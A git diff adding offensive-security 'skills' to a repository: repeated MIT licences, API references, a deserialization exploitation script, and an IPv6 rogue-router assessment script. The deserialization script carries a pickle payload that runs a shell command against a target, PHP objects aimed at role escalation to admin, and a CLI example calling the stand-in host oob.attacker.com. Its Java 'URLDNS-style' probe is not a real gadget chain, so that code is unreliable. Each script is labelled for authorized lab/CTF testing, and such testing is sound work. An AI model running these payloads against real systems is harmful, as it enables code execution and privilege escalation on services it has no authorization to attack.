Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/exploiting-insecure-deserialization/LICENSE b/skills/exploiting-insecure-deserialization/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/exploiting-insecure-deserialization/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/exploiting-insecure-deserialization/references/api-reference.md b/skills/exploiting-insecure-deserialization/references/api-reference.md new file mode 100644 index 00000000..d5ced5ef --- /dev/null +++ b/skills/exploiting-insecure-deserialization/references/api-reference.md @@ -0,0 +1,59 @@ +# API Reference: Insecure Deserialization Detection Agent + +## Dependencies + +| Library | Version | Purpose | +|---------|---------|---------| +| requests | >=2.28 | HTTP requests for scanning cookies and responses | +| pickle | stdlib | Python pickle payload generation for testing | + +## CLI Usage + +```bash +python scripts/agent.py --url https://target.example.com/dashboard \ + --callback oob.attacker.com --output deser_report.json +``` + +## Functions + +### `detect_serialization_format(data) -> str` +Identifies serialization format from a string: `java_serialized`, `dotnet_viewstate`, `php_serialized`, `python_pickle`. + +### `scan_cookies(url, session) -> list` +Fetches the URL and checks each response cookie value for serialization markers. + +### `scan_response_body(url, method, data) -> list` +Scans the HTTP response body for Java Base64 (`rO0AB`), PHP serialized objects, and `__VIEWSTATE` fields. + +### `test_java_deserialization(url, cookie_name, callback_host) -> dict` +Injects a URLDNS-style probe into a cookie to trigger DNS callback on deserialization. + +### `test_php_deserialization(url, param_name) -> dict` +Sends PHP serialized object payloads attempting role escalation. + +### `test_python_pickle(url, param_name, callback_host) -> dict` +Generates a pickle payload with `__reduce__` that triggers a DNS lookup for OOB detection. + +### `run_assessment(url, callback_host) -> dict` +Orchestrates cookie and body scanning. + +## Serialization Markers + +| Format | Magic / Prefix | Example | +|--------|---------------|---------| +| Java binary | `\xac\xed\x00\x05` | Raw bytes | +| Java Base64 | `rO0AB` | Base64-encoded | +| .NET ViewState | `/wE` | `__VIEWSTATE` hidden field | +| PHP | `O:4:`, `a:2:` | Object/array notation | +| Python pickle | `\x80` (protocol byte) | Base64-encoded | + +## Output Schema + +```json +{ + "target": "https://target.example.com/", + "serialized_data_found": 2, + "cookie_findings": [{"name": "session", "format": "java_serialized"}], + "formats_detected": ["java_serialized"] +} +``` diff --git a/skills/exploiting-insecure-deserialization/scripts/agent.py b/skills/exploiting-insecure-deserialization/scripts/agent.py new file mode 100644 index 00000000..d34e668b --- /dev/null +++ b/skills/exploiting-insecure-deserialization/scripts/agent.py @@ -0,0 +1,179 @@ +#!/usr/bin/env python3 +# For authorized testing in lab/CTF environments only +"""Insecure deserialization detection agent for identifying serialized data in HTTP traffic.""" + +import argparse +import base64 +import json +import logging +import re +import sys +from typing import List, Optional + +try: + import requests +except ImportError: + sys.exit("requests is required: pip install requests") + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + +JAVA_MAGIC = b"\xac\xed\x00\x05" +JAVA_BASE64_PREFIX = "rO0AB" +DOTNET_VIEWSTATE_PREFIX = "/wE" +PHP_SERIAL_PATTERN = re.compile(r'[OaCsid]:\d+:') + + +def detect_serialization_format(data: str) -> Optional[str]: + """Detect the serialization format from a string value.""" + if data.startswith(JAVA_BASE64_PREFIX): + return "java_serialized" + if data.startswith("H4sIAAAAAAAA"): + return "java_gzipped_serialized" + if data.startswith(DOTNET_VIEWSTATE_PREFIX): + return "dotnet_viewstate" + if PHP_SERIAL_PATTERN.match(data): + return "php_serialized" + try: + decoded = base64.b64decode(data[:16]) + if decoded.startswith(JAVA_MAGIC): + return "java_serialized_base64" + if decoded[0:1] == b"\x80": + return "python_pickle" + except Exception: + pass + return None + + +def scan_cookies(url: str, session: Optional[requests.Session] = None) -> List[dict]: + """Scan response cookies for serialized data.""" + sess = session or requests.Session() + resp = sess.get(url, timeout=10, verify=False) + findings = [] + for cookie in resp.cookies: + fmt = detect_serialization_format(cookie.value) + if fmt: + findings.append({ + "location": "cookie", + "name": cookie.name, + "format": fmt, + "value_preview": cookie.value[:60] + "...", + "domain": cookie.domain, + }) + logger.warning("Serialized data in cookie '%s': %s", cookie.name, fmt) + return findings + + +def scan_response_body(url: str, method: str = "GET", + data: Optional[dict] = None) -> List[dict]: + """Scan HTTP response body for serialized data patterns.""" + resp = requests.request(method, url, json=data, timeout=10, verify=False) + body = resp.text + findings = [] + + java_matches = re.findall(r'rO0AB[A-Za-z0-9+/=]{10,}', body) + for m in java_matches: + findings.append({"location": "response_body", "format": "java_serialized", "value_preview": m[:60]}) + + php_matches = PHP_SERIAL_PATTERN.findall(body) + for m in php_matches: + findings.append({"location": "response_body", "format": "php_serialized", "value_preview": m[:60]}) + + viewstate = re.findall(r'__VIEWSTATE[^"]*"([^"]+)"', body) + for v in viewstate: + findings.append({"location": "viewstate_field", "format": "dotnet_viewstate", "value_preview": v[:60]}) + + return findings + + +def test_java_deserialization(url: str, cookie_name: str, + callback_host: str) -> dict: + """Test for Java deserialization using a URLDNS-style detection payload.""" + import struct + dns_url = f"http://{callback_host}/java-deser-test" + urldns_marker = base64.b64encode( + JAVA_MAGIC + b"\x00\x00\x00" + dns_url.encode() + ).decode() + + resp = requests.get(url, cookies={cookie_name: urldns_marker}, + timeout=10, verify=False) + return { + "test": "java_urldns_probe", + "cookie_name": cookie_name, + "callback_host": callback_host, + "response_status": resp.status_code, + "note": f"Check {callback_host} for DNS callback to confirm deserialization", + } + + +def test_php_deserialization(url: str, param_name: str) -> dict: + """Test PHP deserialization with a role escalation payload.""" + payloads = [ + 'O:4:"User":2:{s:4:"name";s:4:"test";s:4:"role";s:5:"admin";}', + 'a:1:{s:4:"role";s:5:"admin";}', + 'b:1;', + ] + results = [] + for payload in payloads: + encoded = base64.b64encode(payload.encode()).decode() + resp = requests.get(url, params={param_name: encoded}, timeout=10, verify=False) + results.append({ + "payload_type": "php_object" if payload.startswith("O:") else "php_array", + "status_code": resp.status_code, + "content_length": len(resp.content), + }) + return {"test": "php_deserialization", "parameter": param_name, "results": results} + + +def test_python_pickle(url: str, param_name: str, callback_host: str) -> dict: + """Test Python pickle deserialization with an OOB detection payload.""" + import pickle + import os + + class Probe: + def __reduce__(self): + return (os.system, (f"nslookup {callback_host}",)) + + payload = base64.b64encode(pickle.dumps(Probe())).decode() + resp = requests.post(url, data={param_name: payload}, timeout=10, verify=False) + return { + "test": "python_pickle_probe", + "parameter": param_name, + "callback_host": callback_host, + "response_status": resp.status_code, + "note": f"Check {callback_host} for DNS callback", + } + + +def run_assessment(url: str, callback_host: str = "") -> dict: + """Run a full deserialization assessment.""" + cookie_findings = scan_cookies(url) + body_findings = scan_response_body(url) + + return { + "target": url, + "serialized_data_found": len(cookie_findings) + len(body_findings), + "cookie_findings": cookie_findings, + "response_body_findings": body_findings, + "formats_detected": list(set( + f["format"] for f in cookie_findings + body_findings + )), + } + + +def main(): + parser = argparse.ArgumentParser(description="Insecure Deserialization Detection Agent") + parser.add_argument("--url", required=True, help="Target URL to scan") + parser.add_argument("--callback", default="", help="OOB callback host for exploitation tests") + parser.add_argument("--output", default="deserialization_report.json") + args = parser.parse_args() + + report = run_assessment(args.url, args.callback) + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + logger.info("Report saved to %s", args.output) + print(json.dumps(report, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/skills/exploiting-ipv6-vulnerabilities/LICENSE b/skills/exploiting-ipv6-vulnerabilities/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/exploiting-ipv6-vulnerabilities/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/exploiting-ipv6-vulnerabilities/references/api-reference.md b/skills/exploiting-ipv6-vulnerabilities/references/api-reference.md new file mode 100644 index 00000000..7bfa1630 --- /dev/null +++ b/skills/exploiting-ipv6-vulnerabilities/references/api-reference.md @@ -0,0 +1,59 @@ +# API Reference: IPv6 Vulnerability Assessment Agent + +## Dependencies + +| Library | Version | Purpose | +|---------|---------|---------| +| scapy | >=2.5 | IPv6 packet crafting, NDP analysis, RA capture | + +## CLI Usage + +```bash +sudo python scripts/agent.py \ + --interface eth0 \ + --known-routers "fe80::1" "fe80::2" \ + --output ipv6_report.json +``` + +## Functions + +### `discover_ipv6_hosts(interface, timeout) -> list` +Sends ICMPv6 Echo Request to `ff02::1` (all-nodes multicast) and collects replies. + +### `capture_router_advertisements(interface, timeout) -> list` +Sniffs ICMPv6 type 134 (Router Advertisements) and extracts prefix info, DNS servers, and flags. + +### `detect_rogue_ra(ras, known_routers) -> list` +Compares RA source addresses against a known-router allowlist. Unrecognized sources flagged as rogue. + +### `check_ipv6_firewall() -> dict` +Runs `ip6tables -L -n` to check for IPv6 firewall rules. Empty ruleset is flagged. + +### `check_tunnel_protocols(interface, timeout) -> dict` +Sniffs for Teredo (UDP 3544), 6to4 (IP proto 41), and ISATAP tunnel traffic. + +### `generate_assessment(interface, known_routers) -> dict` +Orchestrates all checks and produces the final assessment report. + +## Scapy Layers Used + +| Layer | Purpose | +|-------|---------| +| `ICMPv6ND_RA` | Router Advertisement parsing | +| `ICMPv6NDOptPrefixInfo` | Prefix information extraction | +| `ICMPv6NDOptRDNSS` | DNS server option extraction | +| `ICMPv6EchoRequest` | Multicast host discovery | + +## Output Schema + +```json +{ + "interface": "eth0", + "ipv6_hosts_discovered": 15, + "router_advertisements": [{"src_ip": "fe80::1", "router_lifetime": 1800}], + "rogue_ras": [], + "firewall_status": {"rules_count": 0}, + "tunnel_protocols": {"teredo": false}, + "risk_findings": ["HIGH: No ip6tables rules configured"] +} +``` diff --git a/skills/exploiting-ipv6-vulnerabilities/scripts/agent.py b/skills/exploiting-ipv6-vulnerabilities/scripts/agent.py new file mode 100644 index 00000000..a1a8679c --- /dev/null +++ b/skills/exploiting-ipv6-vulnerabilities/scripts/agent.py @@ -0,0 +1,178 @@ +#!/usr/bin/env python3 +# For authorized testing in lab/CTF environments only +"""IPv6 vulnerability assessment agent using scapy for NDP/RA analysis.""" + +import argparse +import json +import logging +import sys +import socket +import struct +from datetime import datetime +from typing import List + +try: + from scapy.all import ( + sniff, sendp, get_if_hwaddr, get_if_addr6, conf, + Ether, IPv6, ICMPv6ND_RA, ICMPv6ND_NA, ICMPv6ND_NS, + ICMPv6NDOptSrcLLAddr, ICMPv6NDOptPrefixInfo, ICMPv6NDOptRDNSS, + ICMPv6NDOptDstLLAddr, + ) + from scapy.layers.inet6 import ICMPv6EchoRequest +except ImportError: + sys.exit("scapy is required: pip install scapy") + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + + +def discover_ipv6_hosts(interface: str, timeout: int = 5) -> List[dict]: + """Discover IPv6 hosts by sending ICMPv6 Echo to all-nodes multicast.""" + target = "ff02::1" + pkt = IPv6(dst=target) / ICMPv6EchoRequest() + logger.info("Sending ICMPv6 Echo to all-nodes multicast on %s", interface) + + replies = [] + try: + ans, _ = __import__("scapy.all", fromlist=["sr"]).sr( + pkt, iface=interface, timeout=timeout, verbose=0, multi=True + ) + for sent, recv in ans: + src = recv[IPv6].src + replies.append({"ipv6_address": src, "mac": recv.src if hasattr(recv, "src") else ""}) + except Exception as exc: + logger.error("Discovery failed: %s", exc) + + logger.info("Discovered %d IPv6 hosts", len(replies)) + return replies + + +def capture_router_advertisements(interface: str, timeout: int = 10) -> List[dict]: + """Capture and analyze Router Advertisement packets on the network.""" + logger.info("Capturing Router Advertisements on %s for %ds", interface, timeout) + ras = [] + + def process_ra(pkt): + if pkt.haslayer(ICMPv6ND_RA): + ra_info = { + "src_ip": pkt[IPv6].src, + "src_mac": pkt.src if hasattr(pkt, "src") else "", + "router_lifetime": pkt[ICMPv6ND_RA].routerlifetime, + "managed_flag": bool(pkt[ICMPv6ND_RA].M), + "other_flag": bool(pkt[ICMPv6ND_RA].O), + "prefixes": [], + "dns_servers": [], + } + if pkt.haslayer(ICMPv6NDOptPrefixInfo): + layer = pkt[ICMPv6NDOptPrefixInfo] + ra_info["prefixes"].append({ + "prefix": layer.prefix, + "prefix_len": layer.prefixlen, + "valid_lifetime": layer.validlifetime, + }) + if pkt.haslayer(ICMPv6NDOptRDNSS): + ra_info["dns_servers"] = pkt[ICMPv6NDOptRDNSS].dns + ras.append(ra_info) + logger.info("RA from %s (lifetime=%d)", ra_info["src_ip"], ra_info["router_lifetime"]) + + sniff(iface=interface, filter="icmp6", prn=process_ra, timeout=timeout, store=0) + return ras + + +def detect_rogue_ra(ras: List[dict], known_routers: List[str]) -> List[dict]: + """Identify rogue Router Advertisements from unknown sources.""" + rogues = [] + for ra in ras: + if ra["src_ip"] not in known_routers: + rogues.append({ + "alert": "ROGUE_ROUTER_ADVERTISEMENT", + "src_ip": ra["src_ip"], + "src_mac": ra["src_mac"], + "router_lifetime": ra["router_lifetime"], + "prefixes": ra["prefixes"], + }) + logger.warning("ROGUE RA detected from %s", ra["src_ip"]) + return rogues + + +def check_ipv6_firewall() -> dict: + """Check if ip6tables rules are configured (Linux only).""" + import subprocess + result = {"ip6tables_present": False, "rules_count": 0, "rules": []} + try: + output = subprocess.run( + ["ip6tables", "-L", "-n", "--line-numbers"], + capture_output=True, text=True, timeout=5, + ) + lines = [l.strip() for l in output.stdout.strip().split("\n") if l.strip()] + result["ip6tables_present"] = True + result["rules_count"] = len([l for l in lines if l and not l.startswith("Chain") and not l.startswith("num")]) + result["rules"] = lines[:20] + except (FileNotFoundError, subprocess.TimeoutExpired): + logger.warning("ip6tables not available") + return result + + +def check_tunnel_protocols(interface: str, timeout: int = 5) -> dict: + """Check for IPv6 tunneling protocols (Teredo, 6to4, ISATAP).""" + tunnels = {"teredo": False, "six_to_four": False, "isatap": False} + + def detect_tunnel(pkt): + if pkt.haslayer("UDP") and (pkt["UDP"].sport == 3544 or pkt["UDP"].dport == 3544): + tunnels["teredo"] = True + if pkt.haslayer("IP") and pkt["IP"].proto == 41: + tunnels["six_to_four"] = True + + try: + sniff(iface=interface, prn=detect_tunnel, timeout=timeout, store=0) + except Exception as exc: + logger.warning("Tunnel detection failed: %s", exc) + + return tunnels + + +def generate_assessment(interface: str, known_routers: List[str]) -> dict: + """Run complete IPv6 security assessment.""" + hosts = discover_ipv6_hosts(interface, timeout=5) + ras = capture_router_advertisements(interface, timeout=10) + rogues = detect_rogue_ra(ras, known_routers) + firewall = check_ipv6_firewall() + tunnels = check_tunnel_protocols(interface, timeout=5) + + findings = [] + if rogues: + findings.append(f"CRITICAL: {len(rogues)} rogue Router Advertisements detected") + if firewall["rules_count"] == 0: + findings.append("HIGH: No ip6tables rules configured") + if tunnels["teredo"]: + findings.append("MEDIUM: Teredo tunnel traffic detected") + + return { + "assessment_date": datetime.utcnow().isoformat(), + "interface": interface, + "ipv6_hosts_discovered": len(hosts), + "hosts": hosts, + "router_advertisements": ras, + "rogue_ras": rogues, + "firewall_status": firewall, + "tunnel_protocols": tunnels, + "risk_findings": findings, + } + + +def main(): + parser = argparse.ArgumentParser(description="IPv6 Vulnerability Assessment Agent") + parser.add_argument("--interface", default="eth0", help="Network interface") + parser.add_argument("--known-routers", nargs="*", default=[], help="Known legitimate router IPv6 addresses") + parser.add_argument("--output", default="ipv6_assessment.json") + args = parser.parse_args() + + report = generate_assessment(args.interface, args.known_routers) + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + logger.info("Report saved to %s", args.output) + print(json.dumps(report, indent=2, default=str)) + + +if __name__ == "__main__": + main() diff --git a/skills/exploiting-jwt-algorithm-confusion-attack/LICENSE b/skills/exploiting-jwt-algorithm-confusion-attack/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/exploiting-jwt-algorithm-confusion-attack/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/exploiting-kerberoasting-with-impacket/LICENSE b/skills/exploiting-kerberoasting-with-impacket/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/exploiting-kerberoasting-with-impacket/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/exploiting-mass-assignment-in-rest-apis/LICENSE b/skills/exploiting-mass-assignment-in-rest-apis/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/exploiting-mass-assignment-in-rest-apis/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/exploiting-ms17-010-eternalblue-vulnerability/LICENSE b/skills/exploiting-ms17-010-eternalblue-vulnerability/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/exploiting-ms17-010-eternalblue-vulnerability/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/exploiting-nopac-cve-2021-42278-42287/LICENSE b/skills/exploiting-nopac-cve-2021-42278-42287/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/exploiting-nopac-cve-2021-42278-42287/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/exploiting-nosql-injection-vulnerabilities/LICENSE b/skills/exploiting-nosql-injection-vulnerabilities/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/exploiting-nosql-injection-vulnerabilities/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/exploiting-oauth-misconfiguration/LICENSE b/skills/exploiting-oauth-misconfiguration/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/exploiting-oauth-misconfiguration/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/exploiting-oauth-misconfiguration/references/api-reference.md b/skills/exploiting-oauth-misconfiguration/references/api-reference.md new file mode 100644 index 00000000..77e404bb --- /dev/null +++ b/skills/exploiting-oauth-misconfiguration/references/api-reference.md @@ -0,0 +1,59 @@ +# API Reference: OAuth Misconfiguration Assessment Agent + +## Dependencies + +| Library | Version | Purpose | +|---------|---------|---------| +| requests | >=2.28 | HTTP client for OAuth flow testing | + +## CLI Usage + +```bash +python scripts/agent.py \ + --url https://auth.example.com \ + --client-id APP_CLIENT_ID \ + --redirect-uri https://app.example.com/callback \ + --output oauth_report.json +``` + +## Functions + +### `discover_oidc_config(base_url) -> dict` +Fetches `/.well-known/openid-configuration` or `/.well-known/oauth-authorization-server`. + +### `test_redirect_uri_bypasses(auth_endpoint, client_id, legitimate_uri) -> list` +Tests 10 redirect_uri manipulation techniques: subdomain hijack, path traversal, case variation, protocol downgrade, CRLF injection. + +### `test_state_parameter(auth_endpoint, client_id, redirect_uri) -> dict` +Submits authorization request without `state` to check CSRF protection. + +### `test_pkce_requirement(auth_endpoint, client_id, redirect_uri) -> dict` +Tests whether `code_challenge` parameter is required. Generates S256 challenge for comparison. + +### `test_code_reuse(token_endpoint, auth_code, client_id, client_secret, redirect_uri) -> dict` +Exchanges an authorization code twice to check single-use enforcement. + +### `test_scope_escalation(auth_endpoint, client_id, redirect_uri) -> dict` +Requests elevated scopes (`admin`, `write`, `delete`) to test scope validation. + +### `run_assessment(config, client_id, redirect_uri) -> dict` +Orchestrates all tests and compiles findings. + +## OAuth Endpoints Tested + +| Endpoint | Source | Test | +|----------|--------|------| +| `authorization_endpoint` | OIDC config | Redirect URI, state, PKCE, scope | +| `token_endpoint` | OIDC config | Code reuse, scope escalation | + +## Output Schema + +```json +{ + "oidc_config": {"authorization_endpoint": "...", "token_endpoint": "..."}, + "redirect_uri_tests": [{"redirect_uri": "https://evil.com", "accepted": false}], + "state_parameter": {"csrf_risk": false}, + "pkce": {"pkce_required": true}, + "findings": [] +} +``` diff --git a/skills/exploiting-oauth-misconfiguration/scripts/agent.py 